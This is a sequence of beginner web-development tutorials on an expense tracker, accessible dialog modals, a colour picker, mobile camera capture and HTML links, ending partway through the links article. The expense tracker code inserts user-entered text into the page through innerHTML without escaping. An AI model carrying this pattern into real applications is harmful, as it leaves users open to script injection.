    totalIncome.textContent = totalIncomes.toFixed(2);
    balance.textContent = (totalIncomes - totalExpenses).toFixed(2);
}

function clearInputs() {
    expenseInput.value = '';
    amountInput.value = '';
    categoryInput.value = 'Expense';
}

7. Testing the Expense Tracker

With all the code in place, open your index.html file in a web browser. Try adding some expenses and incomes to see how they appear in the transaction table. You should see the total expenses, total income, and balance update automatically as you add and delete transactions.

Congratulations! You’ve now implemented a fully functional expense tracker using JavaScript. This tracker is a simple but powerful tool for managing personal finances, and you can further expand it by adding features like data persistence, additional categories, or more detailed reporting.

How to Enhance the User Experience

Now that the core functionality of our expense tracker is up and running, it’s time to improve the user experience. Adding small details and thoughtful enhancements can make your application more intuitive, interactive, and enjoyable to use.

Here are some ideas for enhancing the user experience of our expense tracker:

1. Adding Real-Time Feedback

It’s helpful for users to receive feedback as they interact with your application. Let’s add a notification feature to confirm that a transaction was successfully added. We’ll do this by showing a brief message after a transaction is submitted.

In your HTML, add a div below the form for the notification message:

<div id="notification" class="hidden"></div>

In your CSS, style the notification to make it more visible:

#notification {
  background-color: #28a745;
  color: white;
  padding: 10px;
  margin-top: 10px;
  text-align: center;
  border-radius: 5px;
}

.hidden {
  display: none;
}

Now, in your JavaScript file, we’ll show this notification for a few seconds after a transaction is added:

function showNotification(message) {
    const notification = document.getElementById('notification');
    notification.textContent = message;
    notification.classList.remove('hidden');

    setTimeout(function() {
        notification.classList.add('hidden');
    }, 2000); // Notification will disappear after 2 seconds
}

Update the addTransaction function to show this notification when a new transaction is added:

addTransaction(description, amount, category);
showNotification('Transaction added successfully!');
updateSummary();
clearInputs();

This way, each time a user submits a transaction, they get immediate feedback.

2. Displaying a Balance Indicator

To give users a clearer visual understanding of their financial status, you can implement a balance indicator. This could be a simple color change for the balance display depending on whether the balance is positive or negative.

In your CSS, add styles for different balance states:

.positive {
  color: #28a745; /* Green for positive balance */
}

.negative {
  color: #dc3545; /* Red for negative balance */
}

Then, in your updateSummary function, apply the appropriate class based on the balance:

function updateSummary() {
    let totalExpenses = 0;
    let totalIncomes = 0;

    const transactions = transactionList.querySelectorAll('tr');

    transactions.forEach(function(transaction) {
        const amount = parseFloat(transaction.children[2].textContent);
        const category = transaction.children[1].textContent;

        if (category === 'Income') {
            totalIncomes += amount;
        } else {
            totalExpenses += amount;
        }
    });

    totalExpense.textContent = totalExpenses.toFixed(2);
    totalIncome.textContent = totalIncomes.toFixed(2);

    const currentBalance = totalIncomes - totalExpenses;
    balance.textContent = currentBalance.toFixed(2);

    // Apply positive/negative class
    if (currentBalance >= 0) {
        balance.classList.remove('negative');
        balance.classList.add('positive');
    } else {
        balance.classList.remove('positive');
        balance.classList.add('negative');
    }
}

Now, when users are in the positive, the balance will show up in green. If they are in the negative, it will appear in red.

3. Preserving Data with Local Storage

One major enhancement is saving the transactions even after the page is refreshed. For this, we can use the browser’s local storage. By saving the transactions in local storage, the tracker will retain the data between sessions.

First, modify the addTransaction function to store the transactions in local storage:

function addTransaction(description, amount, category) {
    const transaction = {
        description: description,
        amount: amount,
        category: category
    };

    let transactions = JSON.parse(localStorage.getItem('transactions')) || [];
    transactions.push(transaction);
    localStorage.setItem('transactions', JSON.stringify(transactions));

    const transactionRow = document.createElement('tr');
    transactionRow.innerHTML = `
        <td>${description}</td>
        <td>${category}</td>
        <td>${amount.toFixed(2)}</td>
        <td><button class="delete-btn">Delete</button></td>
    `;
    transactionList.appendChild(transactionRow);

    transactionRow.querySelector('.delete-btn').addEventListener('click', function() {
        transactionRow.remove();
        removeTransaction(transaction);
        updateSummary();
    });
}

Next, create a removeTransaction function to handle deletion from local storage:

function removeTransaction(transactionToRemove) {
    let transactions = JSON.parse(localStorage.getItem('transactions')) || [];

    transactions = transactions.filter(function(transaction) {
        return !(transaction.description === transactionToRemove.description &&
                 transaction.amount === transactionToRemove.amount &&
                 transaction.category === transactionToRemove.category);
    });

    localStorage.setItem('transactions', JSON.stringify(transactions));
}

To load saved transactions when the page is loaded, create a loadTransactions function:

function loadTransactions() {
    const transactions = JSON.parse(localStorage.getItem('transactions')) || [];

    transactions.forEach(function(transaction) {
        addTransaction(transaction.description, transaction.amount, transaction.category);
    });

    updateSummary();
}

window.addEventListener('load', loadTransactions);

Now, each time the page loads, the saved transactions are retrieved from local storage and displayed in the table.

4. How to Improve Form UX

Let’s make the form more user-friendly by automatically focusing on the description input field when the page loads and clearing the form fields when a user submits a transaction. We can also restrict the amount field to only accept numbers.

To automatically focus on the description field:

window.addEventListener('load', function() {
    expenseInput.focus();
});

To restrict the amount input to numbers only, you can add the following attribute to the amount-input in your HTML:

<input type="number" id="amount-input" min="0" step="0.01" required>

5. Using Icons for Better UI

Consider replacing the 'Delete' button text with an icon to improve the visual appeal. You can use an icon library like Font Awesome to add a trash icon.

First, include Font Awesome in your HTML file by adding this line inside the <head> section:

<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css">

Then, in your addTransaction function, replace the delete button with an icon:

transactionRow.innerHTML = `
    <td>${description}</td>
    <td>${category}</td>
    <td>${amount.toFixed(2)}</td>
    <td><button class="delete-btn"><i class="fas fa-trash"></i></button></td>
`;

This little tweak makes your tracker look more modern and visually appealing.

Testing and Debugging

After implementing the functionality and enhancing the user experience, it’s crucial to test the expense tracker thoroughly to ensure everything works as expected. Testing helps you catch any bugs or issues before they become a problem for users.

In this section, we’ll go over some basic testing and debugging strategies to make sure our expense tracker is solid.

1. Testing Basic Functionality

Start by testing the core features of your expense tracker:

• Adding Transactions: Enter a few transactions and ensure they appear correctly in the table, with the description, category, and amount displayed properly.

• Deleting Transactions: Test the delete functionality by removing transactions and verifying that they are deleted both from the table and from local storage.

• Updating the Summary: Check that the total income, total expenses, and balance update correctly as you add and remove transactions.

If any of these functionalities don’t work as expected, double-check the relevant code sections. Ensure that the JavaScript functions are correctly manipulating the DOM and updating local storage.

2. Cross-Browser Testing

Your expense tracker should work consistently across different web browsers. Test the application on multiple browsers like Chrome, Firefox, Safari, and Edge. Make sure the layout, functionality, and styling are consistent across all platforms.

If you encounter any browser-specific issues, you might need to adjust your CSS or JavaScript. For instance, some CSS properties might behave differently on different browsers, so ensure compatibility or provide fallbacks.

3. Mobile Responsiveness

Test your expense tracker on various devices to ensure it’s fully responsive. Open the application on your phone or use the browser’s developer tools to simulate different screen sizes. Check how the layout adapts, and make sure the tracker is usable on smaller screens.

Look out for issues like:

• Text or buttons being too small or hard to tap.

• The layout breaking or elements overlapping.

• The form fields not fitting the screen.

If you spot any problems, consider adjusting your CSS to improve the mobile experience. You might need to use media queries to tweak the layout for smaller screens.

4. Testing Edge Cases

Think about how users might interact with the expense tracker in unexpected ways. Consider testing the following edge cases:

• Empty Inputs: Try submitting a transaction with empty fields. Does your form validation prevent this? Ensure that your required attributes and JavaScript validations are working.

• Negative Amounts: Enter negative numbers in the amount field. Does the tracker handle this correctly? You may want to restrict the input to prevent negative values.

• Large Numbers: Test with very large numbers in the amount field. Does the application handle large values without breaking?

• Duplicate Transactions: Add the same transaction multiple times. Does your tracker manage duplicates gracefully?

By testing these edge cases, you can identify and address potential bugs before they affect users.

5. Debugging Common Issues

If you run into issues while testing, debugging is your next step. Here are some common problems you might encounter and how to troubleshoot them:

• JavaScript Errors: If something isn’t working, check the browser’s console for any JavaScript errors. The console will usually provide information about what went wrong and which line of code caused the issue.

• Layout Problems: If the layout doesn’t look right, inspect the elements using the browser’s developer tools. Check the CSS properties being applied and see if there are any issues with margins, padding, or Flexbox/Grid settings.

• Data Not Persisting: If transactions aren’t being saved or loaded correctly, revisit the local storage code. Make sure you’re correctly saving and retrieving data, and that the JSON is being parsed and stringified properly.

• Event Listeners Not Firing: If buttons or other interactive elements aren’t working, ensure that your event listeners are properly attached. Double-check the selectors and make sure the elements exist when you’re trying to attach the listeners.

6. User Testing

Finally, consider asking others to test your expense tracker. They might use the application in ways you didn’t anticipate, helping you identify usability issues or bugs that you missed. Watch how they interact with the tracker and gather feedback on any confusing elements or unexpected behaviors.

Conclusion

Building an expense tracker from scratch is not only a great way to sharpen your web development skills but also provides you with a practical tool to manage your finances.

Throughout this tutorial, we’ve walked through the entire process, from setting up the HTML structure to styling it with CSS, adding functionality with JavaScript, enhancing the user experience, and testing and debugging the final product.

By following these steps, you’ve created a fully functional expense tracker that allows you to easily add, view, and delete transactions, while keeping track of your income and expenses. You’ve also learned how to handle data persistence with local storage, ensuring that your data remains available even after a page refresh.

Remember, the principles and techniques you’ve applied here can be extended to more complex projects. Whether you’re looking to add more features to this tracker or take on a new challenge, the skills you’ve gained will be invaluable.

Thank you for following along with this tutorial. I hope you found it helpful and that you feel more confident in your ability to build web applications.

If you have any questions or suggestions, feel free to reach out on LinkedIn. If you enjoyed this content, consider buying me a coffee to support the creation of more developer-friendly contents.

Modals are common and sometimes required. And if they're not implemented correctly, they can be a significant barrier. Ensuring that modals are accessible means they are usable by everyone, including people who rely on assistive technologies.

In this article, we'll build a modal and follow the guidelines to make it accessible.

Prerequisites

To follow along with this tutorial, you should have:

1. Basic HTML knowledge: Understand how HTML elements and attributes work.

2. Basic JavaScript knowledge: Familiarity with basic JavaScript concepts like functions, event handling, and DOM manipulation is helpful.

3. Understanding of ARIA: While the tutorial explains ARIA roles and attributes, having a basic understanding of accessibility concepts can be beneficial.

When Should You Use a Modal?

Using modals effectively requires careful consideration of the user experience. Here are some guidelines to help you decide if you should use a modal or not:

• You should use modals when the user needs to make a critical decision, such as confirming a potentially destructive action (for example, deleting an item) or agreeing to terms and conditions

• You can use a modal when a task requires the user’s complete focus and does not rely on information from the rest of the page (for example, filling out a form or completing a payment process).

• You can use a modal for displaying temporary or transient information that doesn’t need to be permanently visible on the page (for example, alerts, notifications, or brief messages).

• You should avoid using modals for tasks that require extensive interaction or input, such as lengthy forms or complex workflows. These can be frustrating in a modal because of limited space and navigation constraints.

• You should avoid using modals for actions a user will need to perform frequently, as this can become repetitive and annoying. Inline options or tooltips might be better for repetitive actions.

• You should not use modals if they interrupt the user’s natural flow on the site, especially if the content or action in the modal is not urgent or important.

Modal Accessibility Guidelines

Here are some tips to help you build useful and accessible modals:

• Provide a descriptive aria-labelledby attribute that points to the modal's title or heading. If there is no title, use aria-label to provide a short, descriptive label.

• Always include a visible and easily accessible close button within the modal, usually in the top-right corner. Label this button clearly, for example, with the text "Close" or an icon with aria-label="Close".

• When the modal opens, move the keyboard focus to the first interactive element within the modal (usually a close button). When the modal closes, return the focus to the element that triggered the modal.

• Keep the keyboard focus within the modal while it is open.

• Allow users to close the modal by pressing the Escape key.

Following these guidelines, let's build a modal.

I prefer using the right HTML tags to build components, and in this case I'll be doing exactly that using the dialog tag.

How to Build a Modal Using the dialog Tag

In case you're not familiar with the dialog tag, it was introduced in HTML5. You use it to create dialog boxes like popups, alerts, and modals. It offers built-in methods and attributes that make it easier to manage dialog behavior without needing extensive JavaScript. The javascript built-in methods are show(), showModal(), and close().

show() and showModal()

The show() method is useful for a non-blocking dialog. This means that the dialog appears on top of the current content, but users can still interact with other parts of the webpage (clicking buttons, links, and so on) while the dialog is open.

This is useful in situations where the dialog is providing information that doesn’t require the user’s immediate attention. Here's an example:

<!-- Previous content here -->
<dialog id="dialog-box">
<!-- More content here -->
</dialog>

<script>
    const dialog = document.getElementById('dialog-box');
    dialog.show();
</script>

Result:

The showModal() method opens the dialog in a modal mode. This means that the dialog takes focus, and interaction with the rest of the webpage is blocked until the dialog is closed. The user cannot click on or interact with any other part of the page.

Depending on the browser, a semi-transparent backdrop appears behind the dialog, visually indicating that the rest of the page is not interactable.

When a dialog is opened with showModal(), focus is automatically trapped within the dialog. The user can only tab through elements inside the dialog, and the focus will loop within the dialog’s content until it is closed. Here's an example:

<dialog id="dialog-box">
<!-- More content here -->
</dialog>

<script>
    const dialog = document.getElementById('dialog-box');
    dialog.showModal();
</script>

Result:

The <dialog> element has default styles but can be customized using CSS to match your design. You can style the dialog box, add animations, or modify the backdrop. The backdrop can be styled using the ::backdrop selector. For example:

dialog::backdrop {
    background: rgba(0, 0, 0, 0.7);
}

The dialog also comes with some built-in accessibility features like focus management, backdrop, automatic announcement on open, and pressing the ESC key will close the dialog.

You can add the autofocus attribute to the first interactive element in the modal, such as the first input in a form or the close button. Alternatively, you can rely on the <dialog> element's native focus management.

Avoid using tabindex on the <dialog> element, as it is not an interactive element like a button or link. The <dialog> serves as a container for interactive content, and it is not intended to receive direct user focus.

The <dialog> element provides a native way to create modals. If you're building a custom modal, make sure its accessibility features match those of the native <dialog> element.

Bringing it all together:

<style>
    dialog::backdrop {
        background: rgba(0, 0, 0, 0.7);
    }
</style>
<body>
    <button id="open-dialog">Open Dialog</button>
    <dialog id="dialog-box">
        <h2>Modal title</h2>
        <div>
          <!-- More content here -->
          <button id="close-dialog" autofocus>Close</button>
        </div>
    </dialog>

<script>
    const dialog = document.getElementById("dialog-box");
    const openButton = document.getElementById("open-dialog");
    const closeButton = document.getElementById("close-dialog");

    openButton.addEventListener("click", () => {
      dialog.showModal();
    });
    closeButton.addEventListener("click", () => {
      dialog.close();
    });
</script>
</body>

You'll notice that I didn't use the aria-label attribute on the dialog as I listed in the guidelines. Well, that's because the dialog element, if well-structured, doesn't necessarily need one. In this case, there's a visible label in the dialog element (the h2 element).

If there are no visible labels present then you need to add one. Like in this example:

<dialog id="confimation-dialog" aria-label="Confirmation Dialog">
    <p>Are you sure you want to proceed?</p>
    <button id="close-dialog" autofocus>Close</button>
</dialog>

What is the inert Attribute?

When a modal is open, a screen reader might still navigate to and around content outside the modal. You would generally want the user's focus to be restricted to the modal itself, or stop the user from accidentally clicking on elements outside the modal to prevent confusion and errors. In these cases, you'll need the inert attribute.

The inert attribute makes an element and all of its descendants non-interactive and inaccessible to assistive technologies. When a modal is open, using the inert attribute on the rest of the page content will ensure that only the modal content can be accessed, making the dialog experience clearer.

How to Use the inert Attribute

When a modal is opened, you can apply the inert attribute to the rest of the page content (typically the <main> element). When the modal is closed, you remove the inert attribute.

Here's an example showing how to use inert with a modal dialog:

<body>
    <header>Site Header</header>
    <main id="main-content">
        <button id="open-dialog">Open modal</button>
        <p>This is the main content of the page.</p>
        <!-- More content here -->

    </main>
    <!-- Move the dialog outside the main element -->
    <dialog id="dialog">
        <h2>Modal Title</h2>
        <p>This is the content inside the modal.</p>
        <button id="close-dialog" autofocus>Close</button>
    </dialog>

    <script>
        const dialog = document.getElementById('dialog');
        const mainContent = document.getElementById('main-content');
        const openButton = document.getElementById('open-dialog');
        const closeButton = document.getElementById('close-dialog');

        openButton.addEventListener("click", () => {
           mainContent.setAttribute('inert', '');
          dialog.showModal();
        });

        closeButton.addEventListener("click", () => {
           dialog.close();
        });

        // the dialog elemnt has a close event, which is called when a user calls the close() method or presses the esc key
        dialog.addEventListener("close", (event) => {
           mainContent.removeAttribute("inert");
        });
    </script>
</body>

How to Animate the Open and Close States

When a modal appears (open state) or disappears (close state), it can be jarring for users if this transition happens abruptly. Animating these states can create a smoother user experience by gradually introducing or removing the modal, making it feel more natural.

Why Animate the Open and Close States?

Animating the open and close states of a modal can:

• Enhance User Experience: A smooth animation can make the transition less abrupt and more engaging.

• Draw Attention: Subtle animations can help guide the user's focus to the modal content when it appears.

• Maintain Consistency: Consistent animations across your UI can create a cohesive and professional feel.

By default, the dialog is set to display:none when closed and display:block when open. You cannot transition from none to block in CSS, but you can combine the display properties with transform or opacity. The transform property can be used to scale or move the modal, while opacity controls its transparency.

Here’s an example of how you might animate a modal:

dialog {
  animation: zoom-out 0.5s ease-out;
}

/* an open attribute is added to the dialog when it is open  */
dialog[open] {
    animation: zoom-in 0.5s ease-out;
}

/* The display property in the keyframes is critical 
because it toggles the modal’s visibility on and off.  */
@keyframes zoom-in {
    0% {
      opacity: 0;
      transform: scale(0.1);
      display:  none;
    }
    100% {
      opacity: 1;
      transform: scale(1);
      display: block;
    }
}

@keyframes zoom-out {
    0% {
      opacity: 1;
      transform: scale(1);
      display: block;
    }
    100% {
      opacity: 0;
      transform: scale(0);
      display: none;
    }
}

Final result:

Conclusion

The <dialog> element is the native way to create modals. It provides built-in accessible features for both keyboard and screen reader users

The <dialog> element is of two types, modal and non-modal. You can create a non-modal dialog using the show() method, and the showModal() method will create a modal dialog.

When you're not using the native dialog element, ensure your custom modal matches the native dialog in terms of accessibility to ensure a uniform experience for all users

You should also always remember to autofocus the most immediate interactive element, the dialog can do this by default.

Finally, you can use the inert attribute on other elements to prevent those elements from being accessed when the modal is open.

Resources:

• W3c Dialog role

• MDN: The Dialog element

Thank you so much for reading this article. If you found it helpful, consider sharing. Happy coding!

You can connect with me on LinkedIn.

This handy little tool will let users select any color they like and instantly see its HEX and RGB values.

So, grab your favorite code editor, and let's get started!

Step 1: Set Up Your Project

1. Create a New Folder: Start by creating a new folder on your computer for this project. You can name it color-picker-tool.

2. Create Files: Inside the folder, create three files:

   • index.html

   • styles.css

   • script.js

Step 2: Build the HTML Structure

1. Open the index.html file in your code editor.

2. Add Basic HTML Structure: Add the following code into index.html: or press SHIFT+! then press Enter to set the Emmet structure, then change the document title to "Color Picker Tool".

3. Link your styles.css and script.js files too.

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Color Picker Tool</title>
        <link rel="stylesheet" href="styles.css">
    </head>
    <body>
   
        <script src="script.js"></script>
    </body>
    </html>
   

Explanation:

• <!DOCTYPE html>: This tells the browser that the document is an HTML5 document.

• <html lang="en">: The root element of the HTML document, with the language set to English.

• <head>: Contains meta-information about the document, like character set and title.

• <title>: Sets the title of the webpage, which appears in the browser tab.

• <link rel="stylesheet" href="styles.css">: Links to the CSS file that styles the page.

• <body>: Contains the content of the webpage.

• <script src="script.js"></script>: Links to the JavaScript file that adds interactivity to the page.

3. Add the body content:

    <div class="color-picker">
      <input type="color" id="colorInput" value="#ff0000">
        <div class="color-info">
           <p>HEX: <span id="hexValue">#ff0000</span></p>
           <p>RGB: <span id="rgbValue">rgb(255, 0, 0)</span></p>
        </div>
    </div>
   

   Explanation:

• <div class="color-picker">: A container for the color picker elements.

• <input type="color" id="colorInput" value="#ff0000">: An input element that lets users pick a color. The value attribute sets the default color.

• <div class="color-info">: A container for displaying color information.

• <p>HEX: <span id="hexValue">#ff0000</span></p>: Displays the HEX value of the selected color.

• <p>RGB: <span id="rgbValue">rgb(255, 0, 0)</span></p>: Displays the RGB value of the selected color.

Here is what we'll have:

Step 3: Style with CSS

1. Open the styles.css file in your code editor.

2. Add CSS Styles: Copy and paste the following code into styles.css:

    body {
        font-family: Arial, sans-serif;
        display: flex;
        justify-content: center;
        align-items: center;
        height: 100vh;
        margin: 0;
        background-color: #f0f0f0;
    }
    .color-picker {
        background-color: #fff;
        padding: 20px;
        border-radius: 8px;
        box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        text-align: center;
    }
    .color-info {
        margin-top: 20px;
    }
    p {
        margin: 5px 0;
        font-size: 16px;
    }
   

Explanation:

• body: Styles the body of the page. It centers the content both vertically and horizontally and sets a light gray background.

• font-family: Arial, sans-serif;: Sets the font for the text on the page.

• display: flex;: Uses Flexbox to layout the page.

• justify-content: center; and align-items: center;: Centers the content.

• height: 100vh;: Sets the height to 100% of the viewport height.

• margin: 0;: Removes default margin.

• background-color: #f0f0f0;: Sets the background color of the page.

• .color-picker: Styles the color picker container with a white background, padding, rounded corners, and a shadow for a card-like appearance.

• .color-info: Adds a margin at the top to separate it from the color input.

• p: Styles the paragraphs within the color info, setting margin and font size.

Here is what we will have:

At this point, we can pick a color but the color codes won't be displayed. To have the color codes displayed, we'll have to add some JavaScript.

Step 4: Add JavaScript Functionality

1. Open the script.js file in your code editor.

2. Add JavaScript Code: Add the following code into script.js:

    document.getElementById('colorInput').addEventListener('input', function() {
        const color = this.value;
        document.getElementById('hexValue').textContent = color;
        document.getElementById('rgbValue').textContent = hexToRgb(color);
    });
    function hexToRgb(hex) {
        const r = parseInt(hex.slice(1, 3), 16);
        const g = parseInt(hex.slice(3, 5), 16);
        const b = parseInt(hex.slice(5, 7), 16);
        return `rgb(${r}, ${g}, ${b})`;
    }
   

   Explanation:

   • document.getElementById('colorInput'): Selects the color input element by its ID.

   • .addEventListener('input', function() {...}): Adds an event listener that triggers whenever the user selects a new color.

   • const color = this.value;: Gets the current value of the color input, which is in HEX format.

   • document.getElementById('hexValue').textContent = color;: Updates the text content of the HEX value display with the selected color.

   • document.getElementById('rgbValue').textContent = hexToRgb(color);: Converts the HEX color to RGB and updates the RGB value display.

   • function hexToRgb(hex) {...}: A function that converts a HEX color string to an RGB string.

     • parseInt(hex.slice(1, 3), 16): Converts the first two characters of the HEX color (after the #) to a decimal number, representing the red component.

     • parseInt(hex.slice(3, 5), 16): Converts the next two characters to the green component.

     • parseInt(hex.slice(5, 7), 16): Converts the last two characters to the blue component.

     • return rgb(${r}, ${g}, ${b});: Returns the RGB color as a string.

Step 5: Test Your Color Picker Tool

1. Open the Project in a Browser: Open the index.html file in a web browser to view your color picker tool.

2. Interact with the Tool: Use the color input to select different colors. The HEX and RGB values should update automatically as you select new colors.

Final Thoughts

Congratulations! You've successfully created a color picker tool using HTML, CSS, and JavaScript.

This project is a great way to practice working with user input and manipulating the DOM. You can further enhance this tool by adding features like copying color values to the clipboard or saving favorite colors.

Enjoy experimenting and learning!

We just published a 2-hour course on the freeCodeCamp.org Spanish YouTube channel that will guide you step by step through building 3 projects with HTML, CSS, and JavaScript. You will practice your skills by building a responsive navigation bar with dropdown menus, a slider, and a landing page with a custom modal.

If you have Spanish-speaking friends, you are welcome to share the Spanish version of this article with them.

Jordan Alexander Cruz Garcia teaches this course. He is a web developer who loves sharing his knowledge and teaching others about the amazing world of CSS.

💡 Tip: Please note that the course focuses on HTML and CSS but also requires basic knowledge of JavaScript for implementing the interactivity.

HTML, CSS, and JavaScript

HTML stands for HyperText Markup Language and CSS stands for Cascading Style Sheets. While HTML provides the structure and content of a website, CSS determines how the content is displayed. It controls the visual aspects of the website, such as fonts, colors, layouts, spacing, and animations.

With CSS, you can easily create different styles and layouts for various screen sizes, making your website look great on desktops, tablets, and mobile devices.

💡 Tip: Websites that adapt to different screen sizes are known as "responsive websites".

We usually write CSS in an external file that we refer to as a "stylesheet". Then, we link this stylesheet to the HTML file, applying all the styles to the corresponding HTML elements based on the CSS selectors and properties.

Separating the content of the website from its presentation is very helpful. It results in a more maintainable project structure and a more efficient rendering process because browsers can render the structure more quickly, while downloading CSS styles in the background.

Basically, CSS is an essential tool for creating the beautiful, visual, and user-friendly websites that we see today.

JavaScript adds interactivity to the website. It turns plain elements into interactive elements to create engaging user experiences.

HTML, CSS, and JavaScript Projects in Spanish

Awesome. Now that you know more about HTML, CSS, and JavaScript, let's check out the projects that you will build during the course.

Project 1: Navigation Bar

You will start by building a navigation bar with dropdown menus. This navigation bar will be responsive, so it will expand or shrink to fit the size of the screen. If the screen is too small, it will automatically transform into a sidebar.

💡 Tip: The main options will always be displayed. When the user clicks on "About" or "Projects", a dropdown menu with additional options will be displayed.

Desktop version

Here you can see the desktop version.

Mobile version

This is the mobile version that you will see in small devices.

💡 Tip: This technique of hiding and toggling the navigation bar is used very frequently to optimize the space for the content as much as possible.

Project 2: Slider

Next, you will build a slider with three positions that will change when the user clicks on the left or right arrows. Each position will have a title, a short paragraph, and a circular image.

💡Tip: Sliders are helpful for sharing user feedback, quotes, and reviews.

Project 3: Landing Page

Finally, you will build a landing page step by step with CSS Grid.

When the user clicks on the "Join us!" button, a custom modal will be displayed. You will implement this modal with HTML, CSS, and JavaScript step by step.

If you are ready to start practicing your HTML, CSS, and JavaScript skills, check out the course on the freeCodeCamp.org Spanish YouTube channel:

✍️ Course created by Jordan Alexander Cruz Garcia (AlexCG).

• YouTube: @AlexCGDesign

• Twitter: @alexcgdesign

• Linkedin: Jordan Alexander Cruz Garcia

• Instagram: @alexcg_design

• GitHub: AlexCGDesign

• Web Development Blog: https://www.alexcgdesign.com/blog

With the growth of smartphones and tablets, accessing features like the camera directly from a web application has become increasingly important. Fortunately, HTML5 provides a simple and effective way to do this using the <input> element.

In this article, we will explore how to utilize the <input> element with the type and capture attributes to seamlessly capture a user's camera on mobile devices. We'll discuss these attributes, understand their functionalities, and provide practical examples along the way. So, let's dive in!

Table of Contents

1. Understanding the <input> Element
2. Using the type Attribute

3. Introducing the capture Attribute
   3.1. Capturing from Front-Facing Camera (user)
   3.2. Capturing from Back-Facing Camera (environment)

4. Limitations and Considerations for Video Capture
   4.1. Browser and Device Support
   4.2. Alternative Approaches
   4.3. Progressive Enhancement

5. Practical Implementation

6. Conclusion

Understanding the <input> Element

The <input> element is one of the most versatile and widely used form elements in HTML. It allows users to input data and interact with web applications in various ways, such as text input, file selection, and more.

When it comes to capturing a user's camera on mobile, we'll focus on leveraging the <input> element with specific attributes tailored for this purpose.

How to Use the type Attribute

The type attribute of the <input> element specifies the type of input control to display.

To capture a user's camera on mobile, we'll utilize the type attribute with the value file. This value indicates that the input should prompt the user to select a file, which in our case, will be an image or video directly from their camera.

<input type="file" accept="image/*, video/*" capture>

By setting the type attribute to file, we inform the browser to open the file picker dialog when the input is clicked, allowing the user to choose an image or video file from their device. The accept attribute further refines the selection to only accept image and video file types.

Introducing the capture Attribute

The capture attribute is an additional attribute introduced in HTML5, specifically targeting mobile devices. It enhances the functionality of the <input> element by enabling direct access to the device's camera. The capture attribute can accept two values: user and environment.

1. Capturing from a Front-Facing Camera (user)

Setting the capture attribute to user instructs the browser to open the front-facing camera when the input is activated. This is particularly useful for scenarios such as taking selfies or capturing video calls directly within a web application.

<input type="file" accept="image/*, video/*" capture="user">

With this configuration, users can seamlessly switch to their device's front camera and capture photos or record videos without leaving the web page.

2. Capturing from a Back-Facing Camera (environment)

Alternatively, setting the capture attribute to environment directs the browser to access the device's rear-facing camera. This mode is suitable for scenarios where users need to capture their surroundings, such as scanning barcodes, documenting events, or taking landscape photos.

<input type="file" accept="image/*, video/*" capture="environment">

By specifying capture="environment", the web application prompts users to utilize the superior quality and broader perspective offered by the back camera of their mobile device.

Limitations and Considerations for Video Capture

The capture attribute itself doesn't guarantee video capture functionality, as its primary purpose is to specify whether to use the front or back camera (user or environment values) when capturing media.

Also, the ability to directly capture videos via the <input> element is not universally supported and is subject to limitations and inconsistencies across different platforms and browsers.

1. Browser and Device Support

Not all browsers and devices support video capture via the <input> element. While some modern browsers may allow video capture, others may only support image capture. Additionally, the behavior may vary based on the operating system and device capabilities.

2. Alternative Approaches

For scenarios requiring video capture functionality, you can consider other approaches such as:

Using JavaScript Libraries/APIs: Leveraging JavaScript libraries or APIs such as the MediaDevices API allows developers to access more advanced features for capturing media, including video recording capabilities. These solutions provide greater control and consistency across different devices and platforms.

Native Mobile Apps: For applications heavily reliant on video capture, developing native mobile apps tailored to specific platforms can provide the best user experience. Native apps can leverage platform-specific APIs and optimizations for seamless video capture and processing.

3. Progressive Enhancement

When implementing video capture functionality in web applications, it's essential to employ progressive enhancement strategies. This involves providing basic functionality using standard HTML features and enhancing the experience for capable devices and browsers using advanced techniques such as JavaScript-based solutions or native app integration.

By adopting a progressive enhancement approach, developers can ensure that users with compatible devices and browsers enjoy an enhanced video capture experience while maintaining basic functionality for users on less capable platforms.

Practical Implementation

Let's put our knowledge into practice by creating a simple web page that utilizes the <input> element to capture a user's camera on mobile.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Camera Capture</title>
</head>
<body>
   <label for="selfie" class="capture-button">Take a Selfie</label>
    <input type="file" id="selfie" capture="user" accept="image/*,video/*">

    <label for="photo" class="capture-button">Take a Photo</label>
    <input type="file" id="photo" capture="environment" accept="image/*,video/*">   

</body>
</html>

Result:

Take a Selfie

Take a Photo

In this example, the <input> element is configured to accept both image and video files while utilizing the capture attribute to capture from facing camera and back facing camera.

Conclusion

Capturing a user's camera on mobile devices is a powerful feature that enhances the functionality and interactivity of web applications.

By taking advantage of the <input> element with the type and capture attributes, developers can seamlessly integrate camera functionality into their projects, offering users a rich and immersive experience.

In this guide, we explored the intricacies of utilizing the <input> element to capture a user's camera on mobile. From understanding the purpose of each attribute to practical implementation examples, you now have the knowledge and tools to incorporate camera functionality into your web applications effectively.

While the capture attribute combined with the <input> element can facilitate image capture from the camera on mobile devices, capturing videos directly through this method is not universally supported. You can consider alternative approaches and employ progressive enhancement strategies to provide a consistent and optimal video capture experience across different platforms and devices.

So go ahead, experiment with the <input> element, and realize the complete capability of mobile camera capture in your web projects.

In HTML (which is short for Hypertext Markup Language), links play a crucial role in creating a web of interconnected content, allowing users to navigate seamlessly between different web pages and websites.

In this article, we will explore the fundamentals of links in HTML, including their types, attributes, and best practices.

What Are Links in HTML?

In HTML, a link, also known as a hyperlink, is an element that lets users navigate from one web page to another. They also allow users to navigate to external resources such as documents, images, videos, and more.

HTML offers several types of links, each serving a specific purpose. Let's see some of them in action in the following sections.

How to create text links

Text links are the most common type of links. They are created by wrapping text with an anchor (<a>) element. When users click on the linked text, they are directed to the URL specified in the link's href attribute:

<a href="https://www.example.com">Visit Example.com</a>

Text links are versatile and can be used for various purposes, such as linking to other web pages, external websites, or even specific sections within a page using anchor tags.

How to create image links

You can turn images into clickable links by wrapping them in an anchor element. This is useful for creating an image-based navigation or linking to larger versions of images:

<a href="https://www.example.com">
  <img src="image.jpg" alt="Example Image">
</a>

Image links are visually engaging and are often used for elements like logos, banners, or thumbnail images that, when clicked, lead users to a related web page or resource.

How to create email links

To create links that open an email client with a pre-filled recipient address, use the mailto scheme:

<a href="mailto:contact@example.com">Send an Email</a>

Email links are convenient for enabling users to initiate email communication with a simple click. They are commonly used for contact information on websites.

How to create external links

